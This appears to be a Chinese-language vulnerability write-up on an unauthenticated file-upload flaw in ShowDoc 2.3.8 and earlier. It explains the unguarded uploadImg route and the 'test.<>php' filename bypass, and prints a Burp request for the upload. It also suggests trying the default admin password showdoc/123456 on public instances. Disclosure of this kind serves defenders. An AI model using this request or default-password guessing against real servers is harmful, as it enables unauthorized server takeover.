0x1 漏洞背景
ShowDoc是一款适用于IT团队的开源在线API文档和技术文档工具。在渗透测试中,获得ShowDoc或类似权限可以访问整个团队的文档,为攻击者提供了一个有价值的突破点。
0x2 漏洞分析
在ShowDoc版本2.3.8及之前,存在一个任意文件上传漏洞。攻击者可以通过构造特殊数据包上传恶意文件并控制服务器。
该漏洞位于home模块的page类的uploadImg方法中。漏洞复现的关键点如下:
- 由于ShowDoc基于thinkphp开发,攻击者可以通过调用
s=/home/page/uploadImg
来访问该方法。然而,在该方法中未对用户身份进行适当检查,导致未经授权的上传。 - 文件后缀名的过滤方法通过
$_FILES['editormd-image-file']['name']
获取文件名,再匹配是否包含.php
,这样的限制可以通过修改文件名为xxx.<>php
的方式绕过。 - 尽管在150行有上传文件的限制,但调用
$upload->allowExts
而不是$upload->Exts
,导致文件后缀限制无效。
0x3 漏洞复现
- 下载存在漏洞的ShowDoc版本并在搭建环境中安装(无需配置任何文件),默认管理员用户为
showdoc/123456
。某些公网上的ShowDoc可能未更改默认管理员密码,可尝试使用此账号密码。 - 使用Burp Suite构造请求包,响应包中将返回文件写入路径。
<code>POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: 127.0.0.1 Content-Length: 218 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1w4V4ZSJraTyFar1 Origin: http://127.0.0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1/web/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: think_language=zh-CN; PHPSESSID=abdrqr6jo21r8l2ffoqnqj1ab4 Connection: close ------WebKitFormBoundary1w4V4ZSJraTyFar1 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"</code>
© 版权声明
THE END
暂无评论内容